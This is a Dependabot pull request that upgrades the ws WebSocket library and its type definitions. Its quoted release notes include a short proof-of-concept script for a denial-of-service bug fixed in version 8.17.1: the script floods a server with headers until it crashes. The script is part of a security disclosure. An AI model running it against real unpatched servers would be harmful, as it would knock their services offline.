build(deps): bump ws and @types/ws in /backend

[dependabot]

⚠️ Dependabot is rebasing this PR ⚠️

Rebasing might not happen immediately, so don't worry if this takes some time.

Note: if you make any changes to this PR yourself, they will take precedence over the rebase.

---

Bumps ws and @types/ws. These dependencies needed to be updated together.
Updates ws from 8.13.0 to 8.18.0

Release notes

Sourced from ws's releases.

8.18.0

Features

• Added support for Blob (#2229).

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

... (truncated)

Commits

• 976c53c [dist] 8.18.0
• 59b9629 [feature] Add support for Blob (#2229)
• 0d1b5e6 [security] Use more descriptive text for 2017 vulnerability link
• 15f11a0 [security] Add new DoS vulnerability to SECURITY.md
• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• Additional commits viewable in compare view

Updates @types/ws from 8.5.4 to 8.5.11

Commits

• See full diff in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot merge will merge this PR after your CI passes on it
• @dependabot squash and merge will squash and merge this PR after your CI passes on it
• @dependabot cancel merge will cancel a previously requested merge and block automerging
• @dependabot reopen will reopen this PR if it is closed
• @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)

[dependabot]

Dependabot couldn't access the repository. Because of this, Dependabot cannot update this pull request.

[dependabot]

OK, I won't notify you again about this release, but will get in touch when a new version is available. You can also ignore all major, minor, or patch releases for a dependency by adding an ignore condition with the desired update_types to your config file.

If you change your mind, just re-open this PR and I'll resolve any conflicts on it.